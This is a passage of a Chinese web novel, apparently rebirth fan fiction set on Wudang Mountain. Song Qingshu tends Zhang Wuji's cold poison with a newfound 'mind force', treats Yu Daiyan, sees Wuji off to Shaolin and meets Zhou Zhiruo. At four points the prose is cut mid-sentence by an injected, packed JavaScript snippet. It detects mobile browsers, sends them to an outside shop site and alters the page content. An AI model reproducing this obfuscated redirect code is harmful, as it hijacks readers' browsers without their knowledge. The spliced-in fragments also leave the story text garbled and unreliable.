他又有什么资格去指责一个父亲呢?天下的父亲,总归是爱着自己的子女的。 “爹,”宋青书轻轻叹了口气,语气软了几分,“更深露重,您也早些歇息吧。” “你记着便好,定要好好护着你无忌师弟,万不可有半分懈怠。”宋远桥冷哼一声,算是应了。 宋青书默然转身,缓步离去。 宋远桥凝望着他的背影,久久未曾移开目光,直到那道身影彻底消失在门外,才缓缓收回视线。他压抑的呼吸声渐次平复,眉间却蹙起了深深的褶皱。 “青书啊……”他望着窗外呼啸的寒风,喃喃自语,声音轻得像一阵风,散在空气里,“在这以武为尊的江湖,你没了武功,往后可该怎么办啊……” 那声喟叹,终究是被凛冽的寒风,吹得无影无踪。 10. 此生无忌天地宽 次日,宋青书抱着一本医书从藏经阁出来时,天色还未大亮。 石阶上积着昨夜未扫尽的落叶,足尖碾过,发出细碎的沙沙声响。 初冬的风裹着凉意扑面而来,转过回廊,一阵压抑的呻吟忽然钻入耳中——像受伤的小兽,从喉咙深处挤出的呜咽,断续又隐忍。 宋青书脚步蓦地一顿。他记得书里写过,某年中秋佳节,张无忌寒毒突发,寒战不止,却怕扫了众人的雅兴,硬是咬牙强忍,最后还是心思细腻的殷梨亭察觉,将他扶回房中歇息。 宋青书太懂这孩子的心思了,父母早逝,纵然有太师父与诸位师叔的疼爱,终究相处时日尚浅,他骨子里总憋着一股劲,不愿给旁人添麻烦。 紧了紧身上的衣袍,宋青书循着声音快步走向那扇虚掩的房门。 推开门的刹那,屋内景象让他瞬间钉在了门槛上。 十一岁的张无忌蜷缩在床榻深处,身上裹着三层厚棉被,却仍像风中秋叶般扑簌发抖,单薄的脊背随着剧烈的寒战不停起伏。 被角已被冷汗浸得发沉,透出暗沉的湿痕。 孩子面朝内墙,只露出一截瘦削的后颈,脖颈上的青筋因隐忍而微微凸起。 “无忌师弟。”宋青书试探着唤了一声,声音放得极低极轻。 床榻上的颤抖倏然停了一瞬,随即,张无忌极缓慢地转过身来。 那是怎样一张苍白的小脸——嘴唇泛着青紫色,下唇被咬破了一块,结着暗红的血痂;额前的发丝湿漉漉地贴在皮肤上,分不清是冷汗还是强忍的泪水。 一双眼睛睁得大大的,里头盛着惊惶与隐忍,像只受惊的小兽。 “我是宋青书。”宋青书放轻脚步走进屋,反手轻轻掩上门,将怀里的医书搁在桌上,声音温和,“我的父亲是你大师伯,按辈分,你该唤我一声师兄。” 张无忌的嘴唇翕动了几下,却没发出半点声音,被子下的身体绷得像拉满的弓弦,指节死死揪着被面,指甲盖都泛出了青白。 “冷得厉害,是吗?” 宋青书在床边的圆凳上坐下,抬手便往张无忌的额头覆去。 温热的触感落在冰凉的额角时,张无忌才怔怔地抬眼,看清了眼前人的模样。 他的眉不浓不淡,恰到好处;眼睛很亮,不是灼灼的光,而是静水流深般的澄澈,像晴日里被阳光照亮的湖面。 他的手指很长,骨节分明,掌心带着温润的暖意,熨帖得让人贪恋。 后来喂药时,宋青书总会把勺子在唇边停一停,等药汁的热气散得温和了,才递到他嘴边;替他揉搓冻僵的小腿时,也必先将手掌在衣襟上捂得温热,再轻轻贴上去。 可张无忌最先记住的,其实是宋青书的声音。 那醇厚沉稳的嗓音,说着“该喝药了”,平平稳稳的,竟让苦涩的药汁也淡了几分。寒毒最烈、疼得神志昏沉时,那声音便化作低低的絮语,在疼痛的间隙里浮沉起落 像渡河的踏脚石,一步一步,引着他熬过最难捱的时刻,走向天光微亮的彼岸。 一渡过便是好日。 张无忌极轻微地点了点头。 宋青书环视屋内,炭盆里的炭火明明烧得正旺,那点热气却像被无形的屏障隔开,根本透不进层层裹身的棉被。 桌上搁着一碗早已冷透的药,褐色的汤汁表面凝了一层薄翳。 窗棂缝隙里漏进一线熹微的晨光,恰好落在张无忌暗青色的小脸上,衬得那点血色愈发单薄。 “你等等。”宋青书起身,从怀里摸出一个扁扁的锡壶,里面盛着清晨去藏经阁时灌的热水,本是预备研墨时暖手用的。 他倒出些许热水在掌心,双手交叠搓得温热,才小心翼翼地掀开被角。 指尖触到张无忌小腿的刹那,宋青书险些将手缩回来——哪里是血肉之躯该有的温度,分明是寒冬里从深井捞上来的石头,又冷又硬,冰得人指尖发麻。 宋青书深吸一口气,将温热的掌心紧紧覆上去,循着医书上记的推拿手法,缓缓揉捏着僵硬的肌肉,试图活络那冻得麻木的血脉。 他此刻只恨自己掌心的暖意不够滚烫,恨不能将周身的热都渡给这孩子。 就在这时,他体内沉寂许久的那股气息忽然蠢蠢欲动,像只脱缰的小兽,又像一股未经驯服的力量,自顾自地循着掌心的接触,丝丝缕缕地往张无忌体内渗去。 “好一点儿了吗?”宋青书低声问,掌心竟隐隐透出几分灼人的热度。 张无忌没有应声,可紧绷的小腿肌肉,却似有若无地松弛了些许。 他把脸更深地埋进枕头里,只露出一只湿漉漉的眼睛,一眨不眨地,悄悄凝望着身前这个陌生师兄专注的侧脸。 晨光渐渐漫过窗纸,将屋里的晦暗一点点驱散。 宋青书已经换了三遍热水,掌心搓得通红,指尖也麻木了,手上的动作却始终没停。 他一边揉着,一边用平稳温和的语调絮絮说着话,说后山哪条小径的野菊开得最盛,说紫霄宫晨钟暮鼓的时辰,说三清殿前的石狮子蹲了多少年。 他也不知道自己为何要说这些,许是觉得这屋子里太过安静,安静得让人心头发紧。 张无忌睁着圆溜溜的大眼睛,一瞬不瞬地看着他,良久,才带着一丝微颤的鼻音,轻轻唤道:“青书……哥哥……” 14 宋青书猛地抬起头——不知何时,张无忌已经转过脸来,那双大眼睛正一眨不眨地望着他,眼底的水雾尽数散开,露出了属于十一岁孩童应有的澄澈透亮。 “你……你叫我什么?”宋青书有些怔忪,指尖还残留着推拿时的凉意。 张无忌轻轻喘了口气,小声道:“你说,我该叫你哥哥。” 宋青书的心像是被什么柔软的东西轻轻撞了一下,温温热热的。 他这两世人生,从来没有人用这般带着依赖的、怯生生的语气唤他一声哥哥。“嗯。”他听见自己的声音,比方才又软了几分,“那就叫哥哥吧。” 重新温热好的药汁被端了进来,宋青书先伸手试了试碗壁的温度,才小心地扶起张无忌,一勺一勺地喂他喝。 药汁极苦,张无忌每咽下一口,眉头就紧紧蹙起,却自始至终没有躲闪。 喂到第五口时,他忽然偏过头,剧烈地咳嗽起来,褐色的药汁溅在宋青书的袖口,迅速洇开一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109829|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深色的痕迹。 “对不起。”孩子慌忙挣扎着想伸手去擦。 “无事。”宋青书按住他乱动的手,从怀里掏出一方干净的手帕,先细细擦净他嘴角的药渍,这才随意地抹了抹自己的袖子,“药苦我知道,但必须得喝。你要是一口气喝完,总好过一口一口慢慢捱。” 张无忌点点头,乖乖接过药碗,仰头将剩下的药汁一饮而尽。 他刚喝完,宋青书便变戏法似的从袖中摸出一颗糖来,糖纸早已被他剥好。 冰糖刚放进嘴里,那点甜意便瞬间漫开。 张无忌的眼睛倏地亮了起来,染上几分孩童才有的稚气,他小声说道:“青书哥哥,我觉得这次寒毒发作,从你进来的时候,就已经停了。不仅不痛苦,还……还很甜。” 宋青书不由得笑了。 那笑意清浅温和,漫过眉眼。 “以后疼了,寒毒发作了,就叫出来。”宋青书转身从旁边的衣橱里拿出一套干爽的衣物,递给他,“把这身湿衣服换下来,浸在身上容易生病。” “爹说,男子汉不能总喊疼。”张无忌摇摇头,小脸上带着几分执拗。 宋青书心头微动,忽然就懂了。 这个十一岁的孩子心里,藏着一股近乎执拗的骄傲,他总想着要证明自己不是旁人的负担。 就像此刻的自己,两个少年,在这间飘着淡淡药香的屋子里,在寒毒与焦灼的拉锯之中,竟生出了一种同病相怜的懂得。 “可是你若是不叫出来,太师傅、师叔们,还有我,只会更加担心。”宋青书蹲下身,望着他的眼睛,一字一句说得真挚。 张无忌望着他,迟疑了片刻,小声问:“那……我以后可以叫青书哥哥你吗?” “当然可以。”宋青书抬手,轻轻揉了揉他的头发,声音温柔得不像话。 “无论何时?” “无论何时,都可以。” 张无忌总是不由自主地关注着这位青书哥哥。 他留意到宋青书的道袍永远是整洁挺括的,可衣襟内侧却常沾着星星点点的墨痕,想来是熬夜研读医书时,不小心溅上的。 他还发现,宋青书身上总萦绕着三种味道——淡淡的墨香,微苦的药香,还有干净的皂角香。 三种气息交织缠绕,渐渐酿成了一种让人心安的味道,那是独属于宋青书的、名为“安全”的气息。 可宋青书的眼睛,却总让张无忌有些困惑。那双眸子太深了,深得像藏着数不清的心事,里面有怜惜,有焦灼,还有着与他年纪不符的、沉甸甸的责任感。 偶尔望过来时,目光仿佛穿透了时光,透过他的身影,落在了遥远的、不知名的地方。 有时张无忌会恍惚,觉得青书哥哥看的不是自己,可那份落在身上的暖意,又分明是真切的。 他曾忍不住问:“青书哥哥,你是不是很累?” 那时宋青书正握着石杵碾药,闻言动作微微一顿,抬眼看向他,唇边漾开一抹浅淡的笑:“照顾你,我不累。” 可张无忌却分明看见,那份笑意未及眼底,他仿佛能隐约触到,藏在宋青书温和表象之下,那缕饱经世事的灵魂。 11. 此生无忌天地宽2 宋青书察觉到体内那股气息对张无忌的寒毒有疗愈作用,是在一个冬日的深夜。 他早搬去了张无忌的隔壁,是以总能第一时间察觉到动静。 “忍一忍。”他半跪在床边,徒劳地用热毛巾擦拭张无忌额上的冷汗,可毛巾刚覆上去,几乎瞬间就被寒气浸得冰凉。 焦灼与绝望漫上心头的刹那,他体内那股沉寂的气息忽然汹涌起来。 这股气息这时候突然变得活跃起来,像地心深处奔涌的岩浆,炽热蓬勃,带着近乎蛮横的生命力,急不可耐地想要破体而出。 恰在此时,张无忌发出一声极其痛苦的抽泣。 宋青书心头一动,几乎是下意识地伸出食指,引导着那股气息顺着手臂经脉缓缓渡过去。 第一缕气息触及张无忌皮肤的瞬间,少年猛地剧烈颤抖起来——那不是痛苦的抽搐,更像是久冻之人骤然触到暖阳时,生出的近乎惊悸的反应。 宋青书不敢停顿,依旧以和缓的速度输送着暖流,冥冥之中竟生出一种玄之又玄的内视感知。 他“看见”,盘踞在张无忌骨髓深处的青黑色寒毒,如同积雪撞上骄阳,虽未彻底消融,却已被硬生生逼退,驱散出一小片清明之地。 张无忌紧咬的牙关缓缓松开,青紫的唇瓣上,终于晕开了一丝淡红。“青书哥哥……”他声音嘶哑,带着一丝微弱的喟叹,“暖暖的。” 宋青书没有应声,他能清晰感觉到体内的气息正在飞速消耗,一股难以言喻的疲惫席卷而来。 他默默想着,这股气息似乎对寒毒有克制与温养之效。 不如,就唤它作念力吧。 宋青书之所以将这股气息唤作念力,原是因它的涌动与消散,全由心念所控。 这股气息不同于武当纯阳功那般,需依经脉循行、口诀催动,反倒是在他心念牵动的刹那,才会应声而起——想克制寒毒时,它便温煦流转,仿佛是将心底的惦念与决意,化作了实实在在的力量。 它无门无派,无根无源,却与他的所思所想紧紧缠缚,是两世执念淬成的暖意,是护人周全的心意凝成的底气。 既由念而生,凭念而动,便叫它念力,再合适不过。 15 约莫一盏茶的工夫,宋青书才缓缓撤回食指,体内的念力已然耗竭。 张无忌的呼吸渐渐变得绵长平稳,寒毒显然被压制下去,他沉沉地睡了过去。 宋青书浑身脱力,靠倒在床头,随手卸下身上的长褐,踢掉布鞋,就着这般歪斜的姿势,手轻轻垂在一侧,也阖眼睡熟了。 等到宋远桥与俞莲舟踏着月色寻来的时候,推门而入,只听见屋内两道呼吸声交错起伏,沉沉的鼾息在寂静的夜里格外清晰——两个孩子显然都累极了。 俞莲舟的目光缓缓扫过屋内,桌上的医书兀自摊开着,页角微微卷起。 研过的墨早已干透。 小炉上煨着的药罐盖子半敞着,药香淡得几乎闻不到,想来是热过了好几回。 锦帕浸在铜盆里,余温渐散,地上还有一滩未干的水渍。 处处都是精心照料的痕迹。 宋远桥放轻脚步,替两个孩子掖了掖被角,又将自己随身的外袍取下来,轻轻盖在宋青书身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109830|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手抬了抬,似乎想替宋青书拂开额前散落的发丝,最终却只是悬停了一瞬,便又缓缓放下。 俞莲舟极低地开口,声音轻得几乎要融进月色里:“青书这孩子,是真心待无忌好。” 宋远桥没有回头,目光落在相依而眠的两个少年身上,几不可闻地应了一声。 俞莲舟稍作停顿,便抬手“啪”的一声将烛火熄灭。 屋内瞬间陷入一片朦胧的银灰色,唯有窗外的月光,依旧清辉满地。 两人轻手轻脚地退出去,掩上房门。 “明日,”宋远桥回头望了望那扇再无光亮的窗,沉声道,“让厨房多备些参汤,清润滋补的。这些日子,这两个孩子,怕是都耗神耗得狠了。” 俞莲舟点了点头:“我去吩咐。” 自那日起,宋青书心底又生出几分新的疑虑。 这念力究竟是只对张无忌有效,还是对旁人也能施展? 他其实已然断定,这念力便是当初混沌之中那一缕银白色的线。 因为昨日渡给张无忌时,他分明见着那流转的气息,正是那般清冽的银辉。 可这念力会不会有副作用? 它既有着这般卓绝的疗愈效力,又有什么法子能让它日积月累、愈发醇厚?若是耗竭了,又要如何才能快速恢复? 更要紧的是,眼下看来,这念力似乎只能暂缓张无忌的寒毒,或是减轻发作时的苦楚,终究做不到连根拔除。 宋青书揣着满心思虑,决意要验证一二。 待他默察体内念力已然恢复如初,这才寻来张无忌,提议同去探望三师叔俞岱岩。 12. 此生无忌天地宽3 俞岱岩的居所,在武当后山一处僻静之地。 自十二年前遭奸人毒手,他四肢经脉尽断,常年卧病在床,动弹不得。 幸得张三丰以深厚内力为他续命,又经多年灵药调养,才勉强保住性命。 可受损的筋脉早已僵化,每逢阴寒天气,周身关节便痛如刀割,苦楚难言。 “青书哥哥,”张无忌扬起小脸,声音闷闷的,带着几分稚拙的忧虑,“三师伯的腿,当真无法好了吗?” 他年纪虽小,耳中却也断断续续听了些风声,隐约知晓是娘亲害了三师伯,爹爹因心怀愧疚,才自刎以谢其罪。 宋青书没有立刻回答。他望着廊檐下悬着的冰棱,剔透如水晶,映着阶下残冬的衰草,透出一抹模糊的淡绿。 沉默片刻,他才沉声道:“事在人为,总有法子的。” 说罢,他紧紧握住张无忌的手,抬脚踏上了门前的石阶。“进去吧。” 俞岱岩早已倚在窗边的软榻上,半身笼在融融天光里,另一半则隐在疏淡的阴影中。 他今日气色瞧着不错,特意让人将自己抬到这里,抬眼便能望见院中那株傲立寒风的孤梅。 “青书,见过三叔。”宋青书松开张无忌的手,恭恭敬敬地行礼。张无忌也连忙跟着,笨拙地作揖问安。 “青书,无忌,你们来啦。”俞岱岩的声音带着久病的轻哑,目光落在两人方才相牵的手上,眼底有一丝极淡的暖意,“外头风大,难为你们还跑这一趟。” “三叔,这是侄儿按古法熬制的膏药,对您的旧伤该有些裨益。”宋青书将一方药膏搁在桌上。 武当本有专司医药的堂口,他这些日子往来其间,早已熟门熟路。 “好啊,你这孩子,当真是年少有为。”俞岱岩毫不吝啬夸赞,又转向张无忌柔声道,“无忌,你也坐。” 说话间,宋青书已自然地在榻边矮凳上落座,指尖轻轻搭上俞岱岩露在毯外的手腕。 俞岱岩也自然地翻转手腕,由他诊脉。 自宋青书重返武当,每日必来俞岱岩的住处。 或是陪他闲话几句,慰藉他常年卧病的寂寥;或是诊脉调药,减轻他周身的苦楚;又或是替他按摩四肢,助血脉缓缓流转。 每次诊脉触及那经脉时,宋青书都忍不住心头一沉——那哪里是武者该有的脉息,分明像被烈火烧过的枯藤,干瘪脆弱,遍布裂痕与结节,稍一触碰都教人惊心。 他指尖微颤,抬眼时,眼底已凝起几分执拗:“三叔,我体内近日生出一股异力,我唤它作念力。它并非武当的内力路数,却能引动气血流转。侄儿想试试,用这念力替您梳理筋骨。” “念力?”俞岱岩闻言一愣,显然从未听过这般说法,他连忙摆手劝阻,“我从未听闻过这种力,万一伤了你自身,可怎么好?此事万万不可莽撞啊!” 16 宋青书站起身,深吸一口气,沉声道:“三叔,这念力已在我体内盘桓两年。先前我无意中在无忌身上发现,它能减轻寒毒发作的痛楚。” “我想要完完全全治好三叔,我想让三叔重新站起来。” 少年的眼眸里,没有寻常少年人的冲动热血,没有慷慨激昂的许诺,甚至没有多少情绪的波澜,唯有经岁月沉淀的、撼人心魄的坚定与执着。 俞岱岩望着他,心底竟莫名生出一丝信任,缓缓点头:“那三叔便让你试一试。只是切记,千万不可逞强。” 宋青书颔首,缓缓闭上眼睛,右手食指虚悬在俞岱岩后心。 他呼吸渐沉,胸口微微起伏,额角很快沁出细密的汗珠。 张无忌见状,连忙掏出一方手帕,踮着脚替他轻轻擦拭。 俞岱岩只觉后心处传来一股极轻柔的暖意,像一缕游丝般,悄无声息地钻进他闭塞的经脉。 念力缓缓淌过断折的筋骨缝隙,原本早已麻木的腰背,竟泛起一丝微弱的知觉。他忍不住低低喟叹一声,眼底霎时涌起难以置信的光。 可宋青书的脸色,却越来越白,唇瓣抿成一条毫无血色的线。 那股念力在俞岱岩体内游走的速度,也渐渐慢了下来,仿佛随时都会耗尽。 糟了!这孩子明知不可逞强,却偏要逞强! 俞岱岩心急如焚,却根本无法停下他的动作。 “青书!快停下!”他嘶吼出声,声音里带着前所未有的惊恐。 他拼命想要挪动身体,想要靠近,想要打断,可沉重的下半身却将他死死钉在榻上,只能徒劳地伸出手,指尖连宋青书的衣角都碰不到。 宋青书像是被隔绝在了另一个世界,对周遭的一切都毫无反应。 “无忌!”俞岱岩猛地转向床边,望着早已急得呆住的孩子,声音尖锐得变了调,“快去!去叫你大师伯,叫你任何一位师叔!快去!” 孩子带着哭腔的呼喊,散在凛冽的寒风里,转瞬便被吹散。 宋青书何尝不知该将念力回撤,只是他根本不知该如何操作,只能慌乱地试着引导那股力量回流。 就在他浑身脱力、整个人要向后栽倒的千钧一发之际,一道清影如急电般掠入房中。 来人面容英武,步履沉稳,正是在附近练剑的莫声谷。他听闻呼救声,心知不妙,便立刻赶了过来。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109831|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青书的身体猛地一僵,随即像一尊失去支撑的蜡像,软软地向一侧倾倒。“青书!”莫声谷低呼一声,眼疾手快,上前一步,长臂一伸,稳稳地将少年瘫软的身体接进怀中。 他迅速探了探宋青书的脉搏,松了口气,语速极快地对俞岱岩道:“气力耗竭,性命无碍。”话音未落,他已抱着宋青书起身,几步走到床边,小心翼翼地将人安置在柔软的床榻之上。 “三哥,这是怎么回事?”莫声谷压下心中翻涌的惊涛,声音压得极低,顾念着昏迷的宋青书。 他素来性情坦荡豪爽,此刻却难得的谨慎。 “七弟,”俞岱岩的声音带着一丝难掩的激动,“青书方才用他体内的念力为我疗伤,只是他不知如何回撤,才惊动了你。” 俞岱岩没有过多解释,只是缓缓抬起自己的右手。 莫声谷的目光瞬间凝住,眼中满是晶莹的震动。 只见那只沉寂了十几年、形同朽木的手,竟正缓慢地依次弯曲五指,而后又徐徐伸直。 动作虽僵硬,幅度也有限,却已是旷古未有的奇迹。 莫声谷快步上前,顾不上礼数,直接搭上俞岱岩的腕脉,内力探入。 片刻之后,他猛地抬头,声音里带着难以置信的颤意:“三哥!你的手太阴肺经竟有复苏之象!虽未完全贯通,但这绝非寻常药石或内力能做到的!” 武当诸侠皆是当世一流高手,医理武学皆有涉猎,俞岱岩的伤势,莫声谷再清楚不过——那是真正的沉疴痼疾,连师傅张三丰都只能以深厚内力维系,根本无法根治。 如今,竟出现了这般转机! “青书……”俞岱岩的目光落在床榻上昏迷的少年身上,声音低沉而复杂,“这孩子体内生出了一股奇异的力量。” 莫声谷点了点头,接过话头:“他说这力量由心念掌控,称之为念力,想试着用它为你温养经脉。只是方才他心神深陷,无法自拔,若非我及时赶到,后果不堪设想。” “我刚才,其实未做什么。”莫声谷又补充道,“是青书自己,寻到了念力回撤的法子。” 这时,一旁压抑许久的细微啜泣声响起。 张无忌望着昏迷不醒的宋青书,小小的身子微微发抖。 往日里总是温和沉稳、护着他的青书哥哥,竟也会这般脆弱地倒下。 俞岱岩抬眼,目光沉沉地扫过张无忌与莫声谷,一字一句,语气凝重:“此事,除太师傅与众位师兄弟之外,绝不能外传。” 莫声谷忙不迭点头。 宋青书身上那股能救人的念力,或许,是他们武当上下,需要共同守护的东西。 13. 此生无忌天地宽4 自从那次醒来,宋青书便将自己活成了一只永不停歇的陀螺,每日往来穿梭于张无忌的住处、俞岱岩的卧房与藏经阁之间,脚不沾地。 经此一役,他也终于摸透了念力的门道,能自如地运转与回撤。 只是他很快发现,这念力于俞岱岩而言,终究只是治标不治本的辅助——头几日三叔的确舒坦了不少,可没过多久,经脉处的剧痛便再度袭来。 得知结果的那一刻,宋青书心里难免掠过一丝失落与沮丧,但转念一想,又很快释然。 若世间万事都这般轻易便能如愿,那又何须世人百般求索、步步跋涉呢? 宋青书依旧每隔两月便下山一趟,除了去看望母亲,还总不忘给张无忌带些糖人、小玩意儿。 有一回,他从袖中取出一卷画轴递给张无忌。 少年展开画卷,入眼便是一派朦胧的江南春景:烟雨笼罩的石桥下,满池荷花亭亭玉立,渡口边立着一位穿青布衫裙的妇人,眉眼温婉,正是他日思夜想的娘亲殷素素。 宋青书自然没错过每次下山时,张无忌那眼巴巴望着他的模样,那目光里藏着羡慕,也藏着一丝难以言说的黯然。 也正因如此,他才特意寻了镇上的画师,凭着张无忌的描述绘下这幅画。 “是我找画师画的,也不知道像不像。”宋青书轻声道,“你若是想妈妈了,便拿出来看一看。” “像极了……谢谢青书哥哥。”张无忌喉间哽咽,几乎发不出声音。 日子便这般静谧地过了下去,除却张无忌偶尔寒毒发作,倒也算安稳。 张无忌依着张三丰所授的不全版九阳神功修炼,丹田中的氤氲紫气已小有成就,再加上宋青书的念力相助,每次发作总能勉强撑过去。 可即便如此,他脸上的青气还是一日重过一日,所受的煎熬也愈发剧烈,到了后来,连宋青书的念力也难以减轻半分苦楚,少年的身子终究是日渐憔悴下去。 山穷水尽之际,唯有思变。张三丰看着日渐衰弱的张无忌,终是痛下决心,决定带他前往嵩山少林寺。 一代宗师纵有万般不愿,此刻也只能无可奈何地向少林低头,为这苦命的孩子求一条生路。 深秋的武当山,晨雾浓得化不开,石板路上凝着一层湿冷的白霜。 山门前的空地上,那辆青帷小车已套好了马,呼吸间呵出的白气很快融进雾里。 张无忌裹在一件显然过于宽大的厚棉袍里,小脸苍白得近乎透明,唯有颧骨处因久病和低热,泛着两抹不祥的淡红。 张三丰的大手稳稳扶着他的胳膊,掌心传来的温度浑厚温和,是他此刻能抓住的、为数不多的实在依靠。 武当诸侠默然立在阶前。 宋远桥递上捆扎好的干粮药材,低声道:“师父,沿途所需都在这里了。”俞莲舟冷峻的眉眼间锁着深深的忧虑,张松溪将鼓囊囊的钱袋塞进张无忌怀里,殷梨亭已别过头去,眼眶通红。 张无忌的视线掠过这些熟悉的面容,心口那团酸楚慢慢涨满。最后,他的目光落在了人群稍后的那个青色身影上。 宋青书今日异常沉默。 晨雾濡湿了他额前的发,也让他深潭似的眸子显得更加幽暗。他站得笔直,目光与张无忌对上时,嘴角似乎想扯出一个让师弟安心的笑容,却只凝固成一丝极轻微的颤抖。 这个时间点比之那书里所写的似乎晚了一点,有可能是因为他用念力帮张无忌疗毒的缘故。 应该不会有什么影响吧? 他向前挪了半步,从怀中取出一个用油布包得严严实实的小小物事——正是那本张无忌盼了很久的游侠话本,塞进张无忌袖袋里。指尖冰凉,激得张无忌轻轻一颤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109832|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “无忌,跟着太师父,一路要听话。”宋青书的目光垂下,落在张无忌苍白的手上,那手指因寒冷微微蜷着。“我……只恨自己学医日浅,读遍医书,试尽方子,空有念力,还是……还是拿你这寒毒没有办法。”最后几个字,几乎是从齿缝间挤出来的,带着深深的无力和自责。 张无忌的眼泪一下子冲了上来。他用力摇头,想说什么,喉头却哽住了。 宋青书吸了口气,再抬起眼时,眸子里有什么东西亮得灼人,语气却放得更缓、更重,像在下一道不容更改的誓言:“少林路远,但你记着,治好了病,就回来。武当山……我们……都在这儿等你。” 这句话彻底击碎了张无忌强撑的堤防。他猛地抓住宋青书即将抽回的袖口,冰凉的手因用力而泛白,仰起脸,泪水终于滚滚而下,声音破碎不成调:“青书哥哥……你、你会一直……等着我吗?” 雾霭浮动,山风也仿佛在这一刻凝滞。阶前诸侠静默,连马儿也停止了不安的踏蹄。 宋青书凝视着眼前这张被病痛和泪水浸透的小脸,没有片刻犹豫。他反手握住了那只冰冷颤抖的小手,用自己掌心的温度紧紧包裹住,一字一句,清晰无比地凿进浓雾与寒风里: “我会的。” 两个字,斩钉截铁,没有任何修饰,却比任何长篇大论都更有力量。那是十七岁的少年能给出的、最郑重的承诺。 张三丰轻轻叹了口气,将张无忌小心扶上车辕。车轮开始碾过湿冷的石板,发出辘辘的闷响。 张无忌扒着车辕,拼命回过头。雾气在山门前流动,诸侠的身影渐渐模糊。唯有那袭青衫,定定地立在原地,仿佛真的成了一棵扎根在此、永不移动的青松,目光穿透逐渐拉远的距离,牢牢系在远去的车影上,越来越远,越来越淡,最终与武当山苍茫的秋色融为一体,再也看不见了。 14. 峨眉雪刃莹眉端 又是一年早春的武当山,清冽的气息裹着松针的微涩,在山间浮动。真武大殿前的石阶,被岁月磨得温润如玉,此刻铺了一层细碎的新落松针,踩上去便簌簌轻响。 宋青书立在廊下的阴影里,目光落在庭中那株冠盖如云的古松上,神思却飘得渺远。 自张无忌随太师父下山,远赴少林寻求生机,武当山的白日仿佛被无限拉长,连风过松林的声息,都显得寂静了许多。 那股总缠绕在侧、带着凉意的孱弱呼吸,那声时不时响起、努力想显得轻快却难掩依赖的“青书哥哥”,终究是随那人去了。 他刻意留了下来。 这片骤然空旷的天地,这份难得的寂静,正是他所求——他要借着这份清宁,重新审视一些东西,审视自己那颗在前世烈火中焚毁过、如今虽仍跳动却已冷却的心脏,还有那场曾将他拖入万劫不复的“痴情”。 脚步声自身后传来,平稳而厚重,带着道家高人特有的沉静气场,是张三丰。宋青书收敛心神,转身依礼恭立,目光平视,不偏不倚。 而后,他便看见了太师父身侧,那个紧紧挨着灰布道袍的小小身影。 是个约莫十岁的小姑娘。 身上套着件极不合身的粗布旧衣,空空荡荡地挂在瘦骨伶仃的身架上,袖口与裤脚挽了好几折,仍拖沓着过长的边角。头发枯黄稀疏,用一根随手拾来的木棍勉强绾住,露出细弱得仿佛一折就断的脖颈。她的小脸是久经漂泊、营养不良的蜡黄,嘴唇紧抿着,不见半分血色,唯有那双眼睛,异常的大,异常的亮,此刻盛满了初临陌生之地的惶惑、惊惧,还有一丝极力藏匿却终究泄露出的、属于孩童的脆弱无助。 她的手指死死攥着张三丰道袍的一角,指节因过度用力而泛出青白,几乎要将粗糙的布料嵌进掌心。 周芷若。 这个名字在心底静静浮现,没有预想中的波澜,没有前世初遇时那种如石子投潭般的心悸神摇,更无半分余温。 宋青书的心湖,平静得像武当山深冬的寒潭,清晰映照出眼前的景象,却不起一丝多余的微澜。 来了。和记忆里的时间相差无几,只是眼前的人,比印象中更小,更单薄,也更显无措。 上一世,亦是这样的春日,这样的场景。 彼时的自己,少年意气风发,正是武当山下人人称羡的第三代首徒,乍见这孤女清澈眼眸中隐含的倔强与无依的柔弱,心中那潭水便失了平静。那份关注,起初或许是纯粹的怜惜,后来渐渐掺杂了欣赏,最终竟演变成一种炽热而盲目的执念,引着他一步步走向那条铺满虚情假意与阴谋算计的不归路。 凤冠霞帔下那冰冷的眼神,那句如利刃般刺入胸口的“什么?!”,还有那些被揭开的利用与背叛……种种不堪,早已随着前世的终结,沉淀为心魂深处最冰冷的灰烬。 “青书。”张三丰的声音温和醇厚,带着安定人心的力量,将他从刹那的思绪中唤回。 